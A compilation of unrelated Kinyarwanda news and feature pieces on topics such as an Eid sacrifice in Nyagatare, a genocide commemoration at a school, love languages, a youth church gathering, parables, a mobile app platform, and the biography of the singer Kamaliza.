Mu murenge wa Nyagatare isengesho ribanziriza gutanga ibitambo, ryabereye imbere y’umusigiti wo mu mudugudu wa Gihorobwa mu kagari ka Rutaraka.
Ibimasa bibiri bifite agaciro k’ibihumbi 200Frw, ni byo byabazwe. Inyama zagabanyijwe Abayisilamu n’abatari bo, baturiye umusigiti w’ahabereye isengesho.
Ubusanzwe ku munsi wa Eid Adhuha, Abayisilamu ni bo bahabwa inyama mbere. Abatari bo bakazihabwa nyuma kandi ntibisaba ko baba bambaye nk’Abayisilamu.
Gusa ariko bamwe mu baturage bo muri Nyagatare bemeza ko hari abiyambitse imyambaro y’Abayisilamu kugira ngo bahabwe inyama mbere. Bari bafite impungenge ko ngo kuba atari Abayisilamu bashobora kutazibona.
Umuturage, utifuje ko amazina ye atangazwa, avuga ko we yiboneye abantu batandatu, asanzwe azi neza ko atari abayisilamu ariko bambaye nkabo.
Ati “Ariko inzara ni ingome niba atari ugukunda inyama! Maze kubona abantu batandatu bamwe bambaye ingofero abandi bitandiye kandi ndabazi neza rwose si Abayisilamu. Ari jye nasaba bakampa cyangwa bakanyima ntabeshye.”
Sheikh Jumapiri Mbabajende, umuyobozi w’Abayisilamu mu karere ka Nyagatare, we avuga ko amatungo baba batanzeho igitambo, inyama zayo zihabwa abantu bose hatarebwe idini.
Yemeza ko umunsi wa Eid Adhuha ari uwo gusangira n’abavandimwe babo ndetse n’abaturanyi babo, badahuje imyemerere.
Agira ati “Umuyisilamu n’undi wemera Imana wese agomba kurangwa n’impuhwe n’urukundo, ntawukwiye kwishima abandi ababaye, ntibikwiye ko bazirikanwa uyu munsi gusa ahubwo byagahozeho.”
Mu isengesho rye Sheikh Mbabajende Jumapiri yasabye abayisilamu kurangwa n’umuco mwiza.
Yemeza ko amateka yaranze Ibraham, umugore we Hagari ndetse n’umwana wabo Ismail, afite amasomo akomeye yafasha umuryango Nyarwanda. Hakwiye kubaho ubworoherane, ibiganiro n’ubufatanye hagati y’abashakanye.
Ati “Abana basigaye bica ababyeyi, ababyeyi nabo bakicana bakica n’abo babyaye, izi ni ingaruka zo kudakurikiza amahame y’amadini nyamara ubundi ngo ubufatanye no kuganira bituma abantu bagana aheza.”


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Kamonyi: Abarezi barasabwa kwirinda inyigisho ziteza amacakubiri mu banyeshuri
Mu muhango wo kwibuka, abarezi n’abanyeshuri bigaga ku ishuri ribanza rya Runda, kuri ubu risigaye ryitwa Urwunge rw’amashuri rwa Runda Isonga, bazize jenoside yakorewe abatutsi mu 1994; abarezi basabwe kwirinda gutanga inyigisho zihembera amacakubiri mu banyeshuri.
Uwo muhango wabaye kuri uyu wa kane tariki 28/6/2012, witabiriwe n’abanyeshuri, abarezi, abaturage b’akaagari ka Kabagesera ari nako ishuri riherereyemo ndetse na bamwe mu bagize imiryango yabuze ababo bigaga cyangwa bigishaga ku Ishuri ribanza rya Runda.
Bizimana Emmanuel, umubyeyi wabuze abana be batatu bigaga kuri iryo shuri, yasabye abarezi bigisha mu Rwunge rw’amashuri rwa Runda Isonga gutanga inyigisho ziganisha abanyeshuri ku macakubiri ashobora gushora u Rwanda mu maherere nk’ayabaye mu 1994, ubwo abatutsi bahigwaga bakicwa.
Yongeraho ko Jenoside yakorewe abatutsi yari yarahemberewe mu mashuri kuva kera, kuko abana b’abatutsi bahoraga bahagurutswa mu ishuri ngo bagenzi ba bo bamenye ko ntaho bahuriye na bo. Atanga urugero rw’abana be bigaga kuri iryo shuri, bajyaga bamubwira ko mwarimu yabahagurukije akabwira bagenzi be ngo “dore uko umututsi ateyeâ€.
Yibukije abarezi ko umwuga wa bo ugirirwa icyizere na buri mubyeyi, haba ku burere cyangwa ku burezi baha abana. Aragira ati†akazi kanyu iyo ugakoze neza kaguhesha umugisha kuko umubyeyi iyo yohereje umwana ku ishuri, aba amushyize mu maboko ya mwarimuâ€.
Sindayigaya Manassé , ukuriye Umuryango uharanira inyungu z’abacitse ku icumu rya jenoside mu murenge wa Runda, yashimiye abarezi n’abanyeshuri bateguye icyo gikorwa cyo kwibuka, kuko ari byo bizatuma amateka y’ibyabaye atazibagirana mu banyarwanda. Ikindi ngo ni uko kuganiriza abana ku byabaye bituma baharanira kubaka ejo heza hazaza.
Ni ku nshuro ya mbere iryo shuri ryibutse abahize 31 n’abahigishishije 5 bazize jenoside, umuyobozi w’ikigo Munyaneza Emmanuel, akaba avuga ko uwo muhango uzajya ukorwa buri mwaka kugira ngo abanyeshuri bazanyura kuri icyo kigo bajye bamenya amateka y’ibyabaye, maze bibafashe kwirinda amacakubiri.


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Uko abakundanye bahuje ubwumvikane ku buryo batwaramo urukundo rwabi biri mu bituma barambana nta kwishisha kuko hari abakundana benshi bagatandukana hadaciye kabiri kubera imyumvire ittandukanye.
Nubwo bidakunze gutindwaho ari impuguke mu by’imibanire zemeza ko ari ingenzi cyane kandi birafasha kumenya icyo umuntu mukundana yita gukunda no gukundwa .
Mu gitabo cy’ Umwanditsi, Gary Chapman yise imikorere yumvikanisha urukundo ( Les 5 langages de l’amour), yasobanuye uburyo butanu urukundo(...)
Uko abakundanye bahuje ubwumvikane ku buryo batwaramo urukundo rwabi biri mu bituma barambana nta kwishisha kuko hari abakundana benshi bagatandukana hadaciye kabiri kubera imyumvire ittandukanye.
Nubwo bidakunze gutindwaho ari impuguke mu by’imibanire zemeza ko ari ingenzi cyane kandi birafasha kumenya icyo umuntu mukundana yita gukunda no gukundwa .
Mu gitabo cy’ Umwanditsi, Gary Chapman yise imikorere yumvikanisha urukundo ( Les 5 langages de l’amour), yasobanuye uburyo butanu urukundo
Uko abakundanye bahuje ubwumvikane ku buryo batwaramo urukundo rwabi biri mu bituma barambana nta kwishisha kuko hari abakundana benshi bagatandukana hadaciye kabiri kubera imyumvire ittandukanye.
Nubwo bidakunze gutindwaho ari impuguke mu by’imibanire zemeza ko ari ingenzi cyane kandi birafasha kumenya icyo umuntu mukundana yita gukunda no gukundwa .
Mu gitabo cy’ Umwanditsi, Gary Chapman yise imikorere yumvikanisha urukundo ( Les 5 langages de l’amour), yasobanuye uburyo butanu urukundo ruvugwamo kandi rwumvikanamo, bikaba biba byiza abakundanye bumvikanye ku buryo bubashimisha n’ubutabanyura cyane muri ubwo buryo.
1. Guhabwa Impano
Umwanditsi Gary Chapman avuga ko hari abantu bumva ko bakunzwe iyo bahawe impano,yaba ntoya cyangwa nini, bakabifata nk’aho iyo mpano ari ikimenyesto simusiga ko bakunzwe.
Kuri bene uwo muntu n’iyo wavuga iki cyangwa ugakora ibindi bintu byinshi ariko nta mpano umuha abifata nkaho utamukunda.
2. Kumarana umwanya n’umukunzi
Hari abandi bantu bumva ko bakunzwe ari uko bamaranye umwanya n’abakunzi babo. Bene abo ushobora kubazanira impano ntibayihe agacro ko ijyanye n’urukundo ubakunda kuko kuri bo gukundwa bihwanye no kubaha umwanya ukababa hafi kabone n’iyo mwaba mutavugana kuko ari byo bibanezeza bakumva bakunzwe cyane.
3 Kubwirwa amagambo meza
Iki gitabo cy’uyu mwanditsi kigaragaza ko hari abandi bumva ko bakunzwe iyo ubabwiye neza cyangwa ubabwiye amagambo meza. Icyo gihe barishima, bagaseka , hari n’abarira (ushobora nko kumubwira uti nkunda ukuntu ugira gahunda, agahita aseka ati « Yoo, koko se nibyo,uziko unkunda disi ni ukuri ndishimye …»).
Nubwo yaba akeneye guhabwa impano cyangwa kubona umukunzi we hafi, bene nta kindi kintu abakeneye cyane mu rukundo nko guhora umubwira urukundo no kumubwira amagambo meza amwubaka mwaba muri kumwe cyangwa mutari kumwe.
4 Gukorerwa ikintu runaka
Gary Chapman yasobanuye ko uburyo bwa kane bwo kumva ko umuntu akunzwe ari ugukorerwa ikintu runaka nko mutekera, kumumesera, kumutwaza isakoshi, kumwoza ibiganza, ku mucira inzara, ku musokoza, kumuterera ipasi n’ibindi. Usanga bene abo abantu bavuga bati « Uzi ko runaka ankunda ! Yankoreye ibi n’ibi, ni ukuri arankunda …»
5 Gukoranaho
Gary Chapman yasobanuye ko uburyo bwa gatanu umuntu yumvamo ko akunzwe ari ugukorwaho. Uzasanga hari abaganira bafatanye mu biganza, cyangwa umwe akora undi mu musatsi, amushima mu nzara n’ibindi. Icyo gihe umuntu wumva ko akunzwe ari uko akozweho kumukorera ibindi byose atabihereza agaciro cyane.
Umwanditsi Gary Chapman yongeraho ko ari gake cyane uzasanga abakundana umusore n’inkumi bumva gukundwa kimwe, umwe ashobora kuba yakwita urukundo guhabwa impano naho undi akumva ko akunzwe ari uko yabwiwe amagambo meza.
Gary atanga inama ko ari byiza kwiga mugenzi wawe ukamenya icyo yita gukundwa bityo urukundo rukabaryohera mwese. Mushobora gutandukana wibwira ko ntacyo utakoze nyamara icyo we yita gukundwa utarakigezeho.
Avuga ko kugira ngo umenye icyo mugenzi wawe yita gukundwa ari uko wagerageza ubwo buryo bwose bwavuzwe noneho ukareba ikinezeza umukunzi wawe kurusha ibindi akaba aricyo ujya wibandaho kurusha ibindi.
Icyakora ngo kuba umuntu yakumva gukundwa mu buryo bumwe ntibivuze ko n’ibindi utabimukorera ariko ukibanda ku cyo yiyumvamo cyane , nk’urugero umukunzi wawe ashobora kuba yumva ko akunzwe ari uko ahawe impano ibyo ntibivuuze ko wamwima umwanya wo kuganira , kubwirwa amagambo meza n’ibindi byose biruzuzanya.
Ibitekerezo bya benshi mu bagerageza gukundana byemeza ko urukundo rwakonje ndetse rutakibaho kuko rugendana n’inyungu, ku buryo hari n’abakorerana ibi bimenyetso byurukundo barikiye inyungu z’amafaranga cyangwa ubundi butunzi.
Yanditswe na Niyomugabo Albert/Muhabura.rw
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Kuri iki Cyumweru tariki ya 7 Mutarama 2018, ubwo yatangizaga ihuriro ry’urubyiruko rusaga 5000 rwa Kiliziya Gatolika mu Rwanda rizamara iminsi itanu ribera muri Diyosezi ya Cyangagu, Musenyeri wa Diyosezi ya Byumba, Sylverien Nzakamwita, yasabye urubyiruko rwo muri Kiliziya Gatolika kureka ubusambanyi burwugarije kandi bakamenya ko gukoresha agakingirizo bitarinda icyaha.
Umushumba wa Diyosezi ya Byumba akaba na Perezida wa komisiyo ishinzwe iyogezabutumwa mu rubyiruko, Musenyeri Nzakamwita, yavuze ko urubyiruko rukwiye kureka ubusambanyi kuko bugira ingaruka nyinshi mbi ku mibereho yarwo ndetse ababwira ko agakingirizo katarinda icyaha.
- Musenyeri Nzakamwita yasabye urubyiruko kwirinda kwishora mu mibonano mpuzabitsina cyane ko bitanarinda icyaha
Musenyeri Nzakamwita ati “Iki gihugu cyacu kirifuza kubakura mu bukene ariko mubigizemo uruhare mukirinda ibibayobya, mukirinda kurya ibidakwiye, kurya ibitaribwa. Hari imbuto batubwira ko zitaribwa; namwe nagira ngo mbabwire imbuto mugomba kwirinda, ni ubusambanyi kuko nimuyirya muzapfa, muzahura ni’ibibazo kandi kubyikuramo bibagore.”
“Muzahura n’inda zitateguwe. Abahuye na zo bafite ibibazo bikomeye kandi muzahura n’indwara zirimo na Sida. Ntibazababeshye ngo umuti ni agakingirizo, agakingirizo ntigakingira icyaha, ubusambanyi ni icyaha.”
- Uyu muhango witabiriwe n’abayobozi batandukanye
Rumwe mu rubyiruko rwemera ko gukoresha agakingirizo ari icyaha kubera imyemerere ariko rukemeza ko uwaba yaguye muri icyo cyaha cy’ubusambanyi akwiye kugakoresha kugira ngo areke kwandura indwara zandurira mu mibonano mpuzabitsina.
- Rumwe mu rubyiruko Gatolika ruti “uwaterwa yakwifashisha agakingirizo”
Ndekezi Ephrem ati “Ubutumwa bwa Musenyeri ndabushyigikiye kuko ntabwo wabwira urubyiruko ngo rukoreshe agakingirizo; icya mbere uba ubabwiye ngo musambane kandi gusambana mu nyigisho dufite ni icyaha. Ukoresha agakingirizo urinda umubiri ariko nturinda roho. Ushobora gukomeza guhatiriza kugeza ubwo utsinze kamere kandi birashoboka ariko uwo byananiye yagakoresha akamenya ko ari hanze ya kiliziya nubwo ari gufasha ubuzima bwe.”
Iri huriro ryitabiriwe n’urubyiruko ruturutse muri diyosezi zose zo muri Kiliziya Gatolika mu Rwanda. Abaryitabira baganira ku bibazo byugarije urubyiruko; kuri iyi nshuro ya 14 bazibanda ku bikorwa byo kwanywa ibiyobyabwenge.
Daniel MUKESHIMANA/Umubavu.com


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Inkuru: ibintu ntibiba bimeze uko bigaragara buri gihe
Abamalayika babiri bari mu rugendo barahagaze, bamara ijoro rimwe mu rugo rw’umuryango umwe. Uwo muryango ntiwababereye mwiza, ntiwabaretse ngo barare mu byumba byiza by’abashyitsi. Ahubwo babahaye icyumba cyo munsi y’igikoni gikonje cyane. Uko basasaga igitanda cyabo hasi, malayika mukuru abona umwenge mu gikuta arawuhoma. Umuto amubaza impamvu abikoze,aramusubiza ati “ibintu ntibiba bimeze uko bigaragara buri gihe.”
Umunsi ukurikira ba bamalayika bajya kurara mu rugo rw’abakene cyane, ariko rubakira n’umutima mwiza, umugabo w’umuhinzi n’umugore we. Nyuma yo gusangira ibiryo bike bari bafite, bababwira kurara mu cyumba bararagamo cyabo bwite, aho bari buruhuke neza.
Izuba rirashe mu gitondo, abamalayika basanga wa muhinzi n’umugore we bari kurira. Inka yonyine bari bafite,yabahaga amata yo gucuruza yari yapfuye,iryamye mu bwatsi. Malayika muto abazanya agahinda umukuru ati “ni gute watumye ibi biba?”
Aramusubiza ati “ibintu ntibiba bimeze uko bigaragara buri gihe.”
igihe twari muri cya cyumba cya ba bakire batwakiye nabi, nabonye ko muri wa mwenge harimo zahabu umugabo yabitse kubera ubugugu ngo atazagabana ubutunzi n’umuryango we,mfatanya igikuta ngo atazabasha kubona iyo zahabu. Hanyuma ijoro rishize igihe twari turyamye muri cya gitanda cy’umuhinzi, malayika w’urupfu yaje kwica umugore we, maze muha inka ngo abe ariyo yica. “ibintu ntibiba bimeze uko bigaragara buri gihe.”
Rimwe na rimwe niko bigenda iyo ibintu bibaye uko utabiteganije.Niba ufite kwizera mu Mana ugomba kumenya ko ibizaba byose ubifitemo inyungu. Ushobora kudahita ubimenya,ukazabimenya nyuma. Izere Imana gusa muri byose,irayoboye.
Abaroma 8:28
Kandi tuzi yuko ku bakunda Imana byose bifataniriza hamwe kubazanira ibyiza,ari bo bahamagawe nkuko yabigambiriye.


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Inkuru: Jyanira Ihurizo ryose Imana
Hari mu kuboza, kandi noheri yari yegereje. Alvin yari afite amashyushyu kuko mu minsi ikurikira noheri yari kwizihiza umunsi we w’amavuko.Yari azi neza ko mama we azamuha byibura impano imwe. Ryari ijoro ribanziriza noheri,imihango iratangira, Alvin yabonye ikanzu nshya,n’izindi mpano zitandukanye za noheri inshuti ze zari zamuhaye. Ariko impano y’isabukuru ye niyo yari ategereje cyane.
Wa munsi Alvin yari yarategereje cyane uragera agerageza gutekereza icyo nyina azamuha noneho. “Ese yaba ari imwe muri za modoka mbi?” “oya!” “Na none ntiyaba ari ikindi gikinisho cyangwa igitabo cy’inkuru buriya ra?.”
Yari yarambiwe kwihangana. Nyina araza amusoma kw’itama, amushyikiriza n’impano yari yamugeneye kuri uwo munsi. Alvin yihutira kujya mu cyumba cye, afungura impano vuba cyane. Yishimiye kubona ko nyina yari yamuhaye impano itandukanye ubu noneho.Wari umukino w’ihurizo, Alvin yagombaga guhuza buri gace ko mw’ihurizo ngo bibyare ishusho yuzuye ari uko yashyize buri gace mu mwanya wako aho kagomba kujya bikabona kubyara ishusho imwe nyamukuru ihurizo akaba aribwo rirangira. (Jigsaw Puzzle Game)
Nubwo yagerageje guhuza utwo duce byakomezaga kumunanira, akirukankira nyina n’uduce tugitandukanye ngo amwereke aho adushyira. Buri gihe iyo yabishyiraga nyina yazanaga agace kamwe kamwe gusa ngo amwereke aho kajya. akomeje kugenza atyo igihe kirekire byakomeje kumunanira, nyina amusubizayo bwanyuma noneho ngo azane ihurizo ryose nta na kimwe asize inyuma amusobanurire uko bigenda, yongere agerageze kubikora wenyine byose yamaze gusobanurirwa buri gace aho gakwiye kujya.
Ubuzima bwacu ni ihurizo ryiza ariko rikomeye ryafatanijwe na Yesu, kandi uduce dutandukanye ni ubuzima,umuryango, imibanire,imitungo,akazi n’ibindi byinshi. Icyo tugerageza gukora iyo duhuye n’ikibazo muri ibi bintu,ni ugutwara agace kamwe kamwe ku Mana aho kuyishyira ihurizo ryose ngo tuyizere idufashe muri byose .Kugira tubeho ubuzima bwuzuye,Imana ishaka ko tuyiha ubuzima bwacu bwose nta na kimwe dusize inyuma.
Matayo10:37
Ukunda se cyangwa nyina kubandutisha ntaba akwiriye kuba uwanjye, kandi ukunda umuhungu we cyangwa umukobwa we kubandutisha, ntaba akwiriye kuba uwanjye.


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Nubwo ariko usanga abantu benshi biganjemo urubyiruko baba bafite ibitekerezo bya porogaramu zishobora kuzana ibisubizo mu koroshya itangwa rya serivisi n’ibindi bikorwa bitandukanye byatwaraga igihe kirekire, si ko bose bafite amahirwe yo kubishyira mu ngiro.
Mu kubashakira igisubizo cyatuma porogaramu zabo zikorwa ndetse zikagirira akamaro abanyarwanda na bo ubwabo bakabasha kuzibonamo amafaranga, hatangijwe urubuga e-ntego.org.
Kuri uru rubuga rwatangijwe ku bufatanye bwa RTN (Rwanda Telecenter Network) n’Ikigo Apitech cyo mu Bufaransa, abantu batandukanye bazajya babasha gukoreraho porogaramu (Applications) zizajya zikoreshwa mu gutangaza serivisi zitandukanye binyuze mu guhamagara cyangwa kohereza ubutumwa bugufi.
Mu kiganiro na IGIHE, Hamza Khait , umukozi wa Apitech wagize uruhare mu ikorwa rya e-ntego, yavuze ko ari urubuga rworoshye gukoreshwa n’umuntu wese ufite ubumenyi mu gukora porogaramu za mudasobwa kuko uburyo rwubatse bifunguye kuri buri wese.
Ati”e-ntego bituruka ku ijambo intego. Uru rubuga rufasha umuntu wese gukoreraho porogaramu zishobora kwifashishwa uhamagaye cyangwa wohereza ubutumwa bugufi. Rukoresha ururimi PHP rusanzwe ruzwi cyane n’abakora porogaramu zitandukanye za mudasobwa.”
E-ntego ishobora gukorerwaho porogaramu zishobora kwifashishwa na Leta, amavuriro, amashuri ndetse n’abikorera mu kurushaho gutanga serivisi zinoze kandi zihuse.
Ati”Ivuriro rishobora gukoresha uru rubuga rigashyiraho porogaramu ifasha abantu gusaba gahunda yo kubonana na muganga(rendez-vous). Uwasabye gahunda yohererezwa ubutumwa bumubwira igihe azagirayo atiriwe atakaza umwanya wo kujya kwa muganga agataha atanavuwe.”
Khait yagaragaje ko ikigo runaka gishobora kwikorera porogaramu cyangwa se kigahitamo iyakozwe n’umuntu runaka usanzwe yariyandikishije ku rubuga e-ntego, ubundi akishyurwa.
Igihe umuntu ku giti cye yakoze porogaramu, urugero wenda imenyesha abantu uko iteganyagihe rihagaze, azajya yishyurwa bitewe n’amafaranga uwakoresheje iyi serivisi yishyuye.
Ati” Icyo umuntu asabwa ni ukumenyekanisha porogaramu yakoze kugira ngo abantu batangire kuyikoresha. Iyo umuntu ahamagaye cyangwa akandika ubutumwa asaba serivisi zitangwa binyuze kuri iyi porogaramu, hari amafaranga yishyura. Aya mafaranga niyo RTN-Apitech, ikigo cy’itumanaho n’uwakoze porogaramu bagabana.”
Nk’uko byagaragajwe hejuru, itandukaniro ry’uru rubuga n’izindi zisanzwe zikoreshwa mu gutanga serivisi hakoreshejwe ikoranabuhanga (e-services), ni uko porogaramu zo kuri e-ntego zizajya zikorwa n’abanyarwanda, ikindi ni urubuga rufunguye ku buryo ujyaho ugatangira gukoreraho porogaramu yawe, ugendeye ku by’ibanze baba baguhaye.
Ikindi kandi ni uko uburyo e-ntegoikozwe biha umuntu amahirwe yo kuba yagaragaza uburyo urubuga rwarushaho kuba rwiza cyangwa se akaruheraho agahanga utundi dushya twinshi.
Abatabasha kugera kuri internet batekerejweho
Nk’uko Khait yabisobanuye, uretse kuba e-ntego izafasha abafite ubumenyi mu gukora porogaramu za mudasobwa kuba babibyaza umusaruro, inafasha abantu bafite telefoni zigendanwa zidafite internet kuba babona serivisi ziyitangirwaho.
Ati” Twabonye ko hari abantu benshi bafite telefoni zigendanwa ariko nta internet bafite. E-ntego ifasha mu guhuza serivisi zitandukanye wasanga kuri internet na telefoni zitayifite.”
Umuntu wifuza gusaba serivisi, azajya yohereza ubutumwa bugufi cyangwa ahamagare umubare (short code) uzajya uba waratanzwe n’ababishinzwe, ubundi akurikize amategeko n’amabwiriza kugira ngo abashe guhabwa serivizi yifuza.
Biteganyijwe ko uru rubuga ruzatangira gukora neza mu mpera z’uyu mwaka kuko hakiri ibiganiro hagati ya Apitech, RTN n’ibigo byitumanaho bitandukanye kugira ngo hatangwe nimero zizajya zifashishwa n’abifuza kwaka serivisi.
Abafite ubumenyi n’ibitekerezo bya porogaramu za mudasobwa ariko bo amarembo arafunguye, icyo basabwa akaba ari ukwiyandikisha gusa.


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Ubwo itsinda ry’abadepide bagize Inteko Inshinga Amategeko ryasuraga aka karere muri Kamena 2016, ryagaragaje ikibazo cy’abaturage bafite uburwayi bwo mu mutwe batavuzwa, ugasanga bamwe bateza n’umutekano muke.
Mu Isentere ya Rambya, mu Kagari ka Byimana, Umurenge wa Buruhukiro, ni hamwe mu duce twasanzemo abaturage bagaragaza uburwayi bwo mu mutwe ariko ukabona ko batereranywe.
Umuyobozi w’Akarere ka Nyamagabe Wungirije ushinzwe Ubukungu, Jean Lambert Kabayiza, atangaza ko hafashwe ingamba zo kubarura abafite ubwo burwayi bakajyanwa kwa muganga, imiryango yabo igakomeza kubakurikirana n’abadafite ubushobozi bakavuzwa.
Ku ikubitiro ngo hagaragaye abafite uburwayi bwo mu mutwe batanu ariko ngo akarere kagiye kugenzura mu mirenge yose kugira ngo n’ahandi bari bashwe kwivuza.
Yagize ati “Ni ugukora ubukangurambaga tukegera abaturage tukabagaragariza ko uburwayi bwose ari kimwe kuko hari abumva ko umurwayi ari uwaheze mu buriri wananiwe kubyuka. Dufatanije n’abashinzwe ubuzima mu mirenge, tuzabegera tubagaragarize ku ruhare rwabo.”
Abaturage bafite imiryango ikomokamo abafite uburwayi bwo mu mutwe, bakaba bashishikarizwa kubimenyesha ubuyobozi, kandi bagafata iya mbere mu kubavuza.


text:
Umugabo witwa Abdul Majeed Mengal, w’imyaka 70 y’amavuko, wo mu gace ka Nushki mu mujyi wa Quetta, mu Burengerazuba bwa Pakistan, avuga ko yabyaye abana 54, ku bagore batandukanye aho yivugira ko mu busore bwe ku munsi yagombaga kurara ateye akabariro.
Abdul Majeed Mengal, w’imyaka 70 avuga ko muri abo bana yabyaye bose uko ari 54, harimo 12 bamaze kwitaba Imana hakaba hasigaye 42 barimo abasore 22 n’abakobwa 20.
Uyu mugabo umaze kugera mu za bukuru avuga ko aba bana bose uko ari 54 yababyaranye n’abagore 6.
Yagize ati “ Mu busore bwanjye nari mfite akabaraga. Nagombaga gutera akabariro byibura buri munsi. Gusa ikimbabaza ni uko bamwe mu bana nabyaye bitabye Imana. Nagerageje gukora cyane kugira ngo abana banjye bose bazabashe kwiga ariko nshaje bose batararangiza kwiga, sinkibona imbaraga zo kugira icyo nkora.”
Abdul yashyingiwe n’umugore we wa mbere ubwo yari afite imyaka 18 gusa nyuma aza gushakana n’abandi 5 cyane ko amahame yo mu idini ryabo rya Islam ribibemerera.
Abdul yabwiye umunyamakuru wa Daily Mail ko umwe mu bagore be yapfuye azize uburwayi butunguranye. Yagize ati “ Umwe mu bagore banjye yarwaye indwara itunguranye kandi icyo gihe nta mafaranga yo kumuvuza nari mfite kuko nta kazi nari mfite, nibwo yaje kuremba ahita apfa.”
Abdul avuga ko yakoraga akazi ko gutwara ibimashini byubaka aho umwana we w’imfura witwa Abdul Bari Mengal, nawe yaje kwiga gutwara ibyo bimashini kugira ngo amufashe gutunga uwo muryango mugari bari bafite.
Uyu muryango wose wibera mu nzu imwe ifite ibyumba 7, aho abana bagira ibyabo byumba byo kuraramo bitandukanye n’iby’ababyeyi babo.
Abdul kandi yavuze ko ababazwa n’uko yashaje abana be bose batarasoza amashuri, kuko abagera ku 10 batiga kubera ikibazo cy’ubushobozi bwabuze.
Yagize ati “ Nakoze uko nshoboye kugira ngo abana banjye bose bige, ariko imbaraga zanshiranye bose batararangiza kwiga.”
Yakomeje avuga ko yizeye ko abana be bakuru bamaze kurangiza amashuri bari gushaka akazi kandi ko nibakabona bazarihira amashuri barumuna babo nabo bakiga bakarangiza.
Igihugu cya Pakistan kiri mu bihugu byo ku mugabane wa Asiya bifite abaturage benshi cyane kubera abantu bo muri iki gihugu babyara abana benshi, kikaba gifite abaturage babarirwa muri miliyoni zisaga 194.
Umusaza Abdul wabyaye abana 54 avuga ko akiri umusore yagombaga gutera akabariro buri munsi
Umuryango mugari wa Abdul Majeed


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Active Group ni itsinda ry'abahanzi b'abanyarwanda rigizwe n'abasore batatu (3) aribo Derek, Tizzo, na Olivis.
Mbere y'uko iri tsinda ribaho buri umwe mu barigize yakoraga umuziki ku giti cye, nyuma baza guhuza imbaraga bashinga Active Group, byaje no guhita bibazamura kurushaho aho bagiye bakora indirimbo zitandukanye zigakundwa cyane nk'iyo bise Udukoryo Twinshi bafatanyije na Danny Nanone, Aisha,... n'izindi, ushobora no kubakurikira kuri Facebook


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Mu buzima, umunsi, ijoro, isaha, umunota ndetse n’isegonda ibyo dukoze byose byiyandika mu gitabo cy’amateka yacu mu buryo tudashobora gusiba, gusa mu gihe tukiriho tuba tugifite amahirwe yo gukosora amakosa twakoze, tugahindura ingendo kugira ngo tuzasige inkuru nziza i musozi, abacu tuzasiga bazakurikira intambwe zacu batazatsikira ndetse ntibazagire ipfunwe ryo kwitwa mwene kanaka.
Kwicuza ni indwara idakira, gitera ahora yibuka icyabimuteye wa wundi wabonye isha itamba agata nurwo yari yambaye we ahora arushakisha kuko iteka aba yumva yambaye ubusa, naho uwatoraguye inkuba mu gihuru ati niboneye isake ntitinda kumwanura…
Ndabyibuka byose…nako iryo joro uburiri bwarampaze nanirwa gusinzira, Warage yansinzirizaga nari nibagiwe kuyitahana, ntangira kwigaragura mu buriri.
Iryo joro nababwe nta gisura, nkumva ibinjomba nta mahwa mbona, ari nako ibitekerezo bindwaniramo ngiye kumva numva ya magambo yatumye byose biba yongeye kunzamuka mu bwonko ari nako abukoroga buhoro buhoro ndetse ntangira kuyumva no mu matwi yanjye…
Shadia-“Hhhhhhh! Wanyibeshyeho, nundi munsi ntuzongere kwizera umwana w’umuntu”
Njyewe-“Noooo! Shaddy! Ni wowe umbwiye gutyo? Nizere ko uri kunkinisha kandi utababaye kuko uzi ukuntu iyo urakaye uba mubi? Dore n’umuriro uhise ubura, Imana ishimwe ko ntari kukubona…”
Shadia-“Mva imbere nitambukire wa mbwa we, niba utari unabizi mu mwijima nibwo mbona, ni naho nakohereje ubu ukaba ugiye kubona neza Shaddy uwo ari we!”
Njyewe-“Ngo?”
Shadia-“Ngo ngo ngo se iki? Umva narangije kukwihimuraho ibyo So yankoreye, ibindi nawe uzabimenya ujya gutonda umurongo nk’abandi kwa muganga, askyii we”
Njyewe-“Shaddy…?”
Shadia-“Shaddy Shaddy? Nta matwi ugira? Nako iyo uba uyafite ntiwari kwanga kumvira nyoko umunsi ujya kunyerekana iwanyu! Itonde ushonge ushira na So ntiyari yiyanze kandi burya n’imbeba ipfa irigata amavuta”
Njyewe-“Shaddy! Shaddy! Urankurugutuye unkoze mu bwonko, upfuye umugara w’intare weee! Ugiye kumbona wa ndaya we!”
Shadia-“Ziba aho! Indaya ni wowe na So…!”
Uko ibyo byose byanzamukagamo ni ko umujinya wakokeye nk’uwarugi, mba nteruye ipasi yari iraho ku ruhande no kugikuta cy’inzu ngo pooooo…..
Umunyarwanda yarihoreeye agira ati: “Igiti kigororwa kikiri gito” Arongera ati: “Uwiba ahetse aba abwiriza uri mu mugongo” Yunga mo nanone ati: “Nta nyanya zera imitobotobo”
Ibi byose umunyarwanda yavuze koko yari yarebye kure, ni byo mugiye gusanga mu “nkuru ndende nshya” yitwa “Nicyo yambwiye”
Muzajya muyikurikirana buri munsi k’Umuseke guhera tariki 01 Gashyantare


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Mutamuliza Annonciata, wamenyekanye cyane nka ‘ Kamaliza ‘ biturutse ku ndirimbo imwe muze yari ifite iryo zina, yari umuhanzi waranzwe n'ibikorwa by'indashyikirwa, akaba umukobwa muremure kandi ushabutse w’imisatsi migufi. Uyu Kamaliza yakundaga kwambara amapantalo.
Imirimo nko kubaka amashuri, gukusanya inkunga y’abari ku rugamba rwo kubohora u Rwanda, kwinjira mu ngabo ubwabyo n’indi, ubusanzwe byafatwaga nk’imirimo y’abagabo, Mutamuliza Annonciata yaranzwe nabyo. Yari afite ipeti rya Serija mu ngabo za APR zabohoye u Rwanda.
Kamaliza yagiraga imyitwarire nkiy’abahungu kuva akiri muto. Tariki ya 25 Werurwe 1954 nibwo yabonye izuba, avuka kuri Rusingizandekwe Leandre na Mukarushema Berenadeta, Yavukiye ku musozi wa Rukara muri Runyinya, ubu ni mu karere ka Nyaruguru.
Kuri iyo tariki y’amavuko ya Kamaliza, Kiliziya Gatolika yizihizagaho ukubwirwa kwa Bikiramariya ko yari agiye kubyara umukiza, ibi bikanagirana isano n’izina rye yabatijwe rya “Annonciata”. Mu muryango w’abana 13, bane bitabye Imana bataritwa amazina hasigara icyenda, Mutamuliza yari umuhererezi mur ibose. Yavukiye kandi mu muryango w’abasizi witwaga abashambo.
